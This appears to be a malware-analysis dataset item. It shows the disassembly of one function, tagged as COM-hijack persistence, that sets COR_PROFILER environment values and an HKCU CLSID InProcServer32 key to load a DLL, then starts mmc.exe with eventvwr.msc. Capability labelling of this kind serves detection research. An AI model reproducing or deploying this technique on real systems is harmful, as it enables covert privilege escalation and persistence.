Function at 0x140016582
Capabilities:
Persist via com hijack
Set registry value

Disassembly:
jmp 0x14002a680
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x12d8
call fcn.14001622b
sub rsp, rax
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x352
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x12f8]
mov rax, qword [0x140075340]
xor rax, rbp
mov qword [rbp + 0x1278], rax
lea rcx, [0x14007f1da]
call fcn.140016b68
mov dword [rbp + 4], 0xc0000022
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x78], 0
mov qword [rbp + 0xb8], 0
lea rcx, [rbp + 0x48]
call qword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
je 0x14002a708
jmp 0x14002a96b
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x48]
call qword [sym.imp.ole32.dll_StringFromCLSID]
test eax, eax
je 0x14002a722
jmp 0x14002a96b
mov rax, qword [0x140075c58]
add rax, 0x47c
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.1400161f9
lea rdx, str.pe386
lea rcx, [rbp + 0xe0]
call fcn.140016af0
lea rdx, str..dll
lea rcx, [rbp + 0xe0]
call fcn.140016af0
mov r8d, dword [rbp + 0x12a8]
mov rdx, qword [rbp + 0x12a0]
lea rcx, [rbp + 0xe0]
call fcn.14001612c
test eax, eax
jne 0x14002a787
jmp 0x14002a96b
lea r9, [0x1400585b4]
lea r8, [0x1400585b8]
xor edx, edx
xor ecx, ecx
call fcn.1400160d7
mov r9, qword [rbp + 0xb8]
lea r8, str.COR_PROFILER
xor edx, edx
xor ecx, ecx
call fcn.1400160d7
mov rax, qword [0x140075c58]
cmp dword [rax + 8], 0x23f0
jb 0x14002a7e1
lea r9, [rbp + 0xe0]
lea r8, str.COR_PROFILER_PATH
xor edx, edx
xor ecx, ecx
call fcn.1400160d7
jmp 0x14002a932
lea rdx, str.SoftwareClassesCLSID_
lea rcx, [rbp + 0x510]
call fcn.1400161f9
mov rdx, qword [rbp + 0xb8]
lea rcx, [rbp + 0x510]
call fcn.140016af0
lea rdx, str.InProcServer32
lea rcx, [rbp + 0x510]
call fcn.140016af0
mov qword [rbp + 0x78], 0
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x78]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x510]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cdqe
mov qword [rbp + 0x98], rax
cmp qword [rbp + 0x98], 0
jne 0x14002a932
lea rcx, [rbp + 0xe0]
call fcn.1400162a3
lea rax, [rax + rax + 2]
mov qword [rbp + 0x28], rax
mov eax, dword [rbp + 0x28]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x14004e79c]
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdqe
mov qword [rbp + 0x98], rax
cmp qword [rbp + 0x98], 0
jne 0x14002a928
lea rdx, str.Apartment
lea rcx, [rbp + 0x510]
call fcn.1400161f9
lea rcx, [rbp + 0x510]
call fcn.1400162a3
lea rax, [rax + rax + 2]
mov qword [rbp + 0x28], rax
mov eax, dword [rbp + 0x28]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x510]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.ThreadingModel
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rsp + 0x20], 0x2ee0
mov r9d, 5
xor r8d, r8d
lea rdx, str.eventvwr.msc
lea rcx, str.mmc.exe
call fcn.14001689d
test eax, eax
je 0x14002a961
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x14002a6f5
cmp qword [rbp + 0xb8], 0
je 0x14002a998
xor r9d, r9d
lea r8, str.COR_PROFILER
xor edx, edx
mov ecx, 1
call fcn.1400160d7
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
xor r9d, r9d
lea r8, [0x1400585b8]
xor edx, edx
mov ecx, 1
call fcn.1400160d7
mov rax, qword [0x140075c58]
cmp dword [rax + 8], 0x23f0
jb 0x14002a9d4
xor r9d, r9d
lea r8, str.COR_PROFILER_PATH
xor edx, edx
mov ecx, 1
call fcn.1400160d7
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x140057c00]
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x1278]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x1288]
pop rdi
pop rbp
ret